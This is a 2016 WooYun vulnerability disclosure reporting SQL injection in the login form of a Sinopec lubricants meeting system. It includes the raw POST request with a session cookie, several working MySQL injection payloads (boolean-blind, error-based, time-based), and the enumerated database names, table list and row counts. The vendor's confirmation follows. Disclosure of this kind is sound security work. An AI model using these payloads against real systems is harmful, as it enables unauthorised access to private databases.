当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0167082

漏洞标题：中国石化某重要系统SQL注入一枚泄露全站数据

相关厂商：中国石油化工股份有限公司

漏洞作者： 逆流冰河

提交时间：2016-01-04 09:46

修复时间：2016-02-12 18:49

公开时间：2016-02-12 18:49

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：13

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-04： 细节已通知厂商并且等待厂商处理中
2016-01-04： 厂商已经确认，细节仅向厂商公开
2016-01-14： 细节向核心白帽子及相关领域专家公开
2016-01-24： 细节向普通白帽子公开
2016-02-03： 细节向实习白帽子公开
2016-02-12： 细节向公众公开

简要描述：

如题

详细说明：

1,注入信息:

POST http://meeting.lube.sinopec.com/Public/checkLogin.html HTTP/1.1
Host: meeting.lube.sinopec.com
Connection: keep-alive
Content-Length: 26
Accept: */*
Origin: http://meeting.lube.sinopec.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://meeting.lube.sinopec.com/Public/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: Hm_lvt_771f45910f57a6af3757eee725673918=1451111550,1451111622,1451814454,1451825893; Hm_lpvt_771f45910f57a6af3757eee725673918=1451825893; PHPSESSID=5valbk3scqhvsfj5gkgtd09j11; CIAM_sys_theme=default
usrname=admin*&passwd=admin


2,注入信息
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: usrname=admin' AND 8069=8069 AND 'vdaR'='vdaR&passwd=admin
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: usrname=admin' AND (SELECT 9859 FROM(SELECT COUNT(*),CONCAT(0x716b7a7071,(SELECT (ELT(9859=9859,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ainW'='ainW&passwd=admin
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: usrname=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))xFeW) AND 'hBpQ'='hBpQ&passwd=admin
---
web application technology: Apache 2.2.29, PHP 5.4.37
back-end DBMS: MySQL 5.0
3,库
web application technology: Apache 2.2.29, PHP 5.4.37
back-end DBMS: MySQL 5.0
available databases [3]:
[*] information_schema
[*] meeting_v3
[*] test
4,表
[61 tables]
+--------------------------------+
| cia_apply_adjust               |
| cia_attachment                 |
| cia_business                   |
| cia_car                        |
| cia_company                    |
| cia_cron_notify                |
| cia_driver                     |
| cia_eav_attribute              |
| cia_eav_attribute_group        |
| cia_eav_attribute_set          |
| cia_eav_entity_attribute       |
| cia_eav_entity_type            |
| cia_employee                   |
| cia_employee_role              |
| cia_evaluation                 |
| cia_evaluation_log             |
| cia_evaluation_option          |
| cia_exam                       |
| cia_exam_log                   |
| cia_exam_option                |
| cia_exam_point_log             |
| cia_meeting                    |
| cia_meeting_extend             |
| cia_meeting_files              |
| cia_meeting_large_area         |
| cia_meeting_member             |
| cia_meeting_member_car         |
| cia_meeting_member_hotel       |
| cia_meeting_membergroup        |
| cia_meeting_membergroup_member |
| cia_meeting_plan               |
| cia_meeting_plugin             |
| cia_meeting_scene              |
| cia_meeting_scene_member       |
| cia_meeting_teacher            |
| cia_meeting_tpl                |
| cia_meeting_type_category      |
| cia_meetingroom                |
| cia_meetingroom_order          |
| cia_msg                        |
| cia_notice                     |
| cia_permission                 |
| cia_plugin                     |
| cia_prize                      |
| cia_prize_log                  |
| cia_respond_tender             |
| cia_role                       |
| cia_role_language              |
| cia_role_permission            |
| cia_setting                    |
| cia_site                       |
| cia_system_log                 |
| cia_tag_relate                 |
| cia_tags                       |
| cia_teacher                    |
| cia_wx_apps                    |
| cia_wx_department              |
| cia_wx_department_apps         |
| cia_wx_department_user         |
| cia_wx_menu                    |
| cia_wx_user                    |
+--------------------------------+
Database: meeting_v3
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| cia_exam_log                   | 57914   |
| cia_exam_option                | 45488   |
| cia_meeting_member             | 22348   |
| cia_wx_user                    | 18942   |
| cia_evaluation_log             | 12009   |
| cia_system_log                 | 10606   |
| cia_evaluation_option          | 8549    |
| cia_meeting_plugin             | 6605    |
| cia_notice                     | 5185    |
| cia_wx_department_user         | 3785    |
| cia_prize_log                  | 3198    |
| cia_evaluation                 | 1710    |
| cia_msg                        | 1599    |
| cia_prize                      | 1288    |
| cia_meeting                    | 1242    |
| cia_meeting_scene_member       | 1185    |
| cia_exam                       | 1076    |
| cia_exam_point_log             | 848     |
| cia_employee                   | 738     |
| cia_employee_role              | 717     |
| cia_meeting_teacher            | 475     |
| cia_role_permission            | 433     |
| cia_teacher                    | 187     |
| cia_meeting_files              | 148     |
| cia_permission                 | 140     |
| cia_wx_department_apps         | 123     |
| cia_meetingroom_order          | 116     |
| cia_wx_department              | 107     |
| cia_meeting_membergroup_member | 89      |
| cia_apply_adjust               | 82      |
| cia_meeting_extend             | 57      |
| cia_tag_relate                 | 57      |
| cia_meeting_type_category      | 56      |
| cia_meeting_large_area         | 54      |
| cia_meeting_tpl                | 53      |
| cia_meeting_scene              | 52      |
| cia_business                   | 50      |
| cia_meeting_membergroup        | 32      |
| cia_cron_notify                | 31      |
| cia_meeting_member_hotel       | 28      |
| cia_meetingroom                | 20      |
| cia_tags                       | 20      |
| cia_meeting_plan               | 19      |
| cia_wx_menu                    | 14      |
| cia_plugin                     | 12      |
| cia_role                       | 4       |
| cia_wx_apps                    | 2       |
| cia_car                        | 1       |
| cia_company                    | 1       |
| cia_setting                    | 1       |
+--------------------------------+---------+


5,不继续了

漏洞证明：

Fix

修复方案：

Fix

版权声明：转载请注明来源 逆流冰河@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2016-01-04 13:37

厂商回复：

谢谢！我们会尽快修复！

最新状态：

暂无

漏洞评价：

评价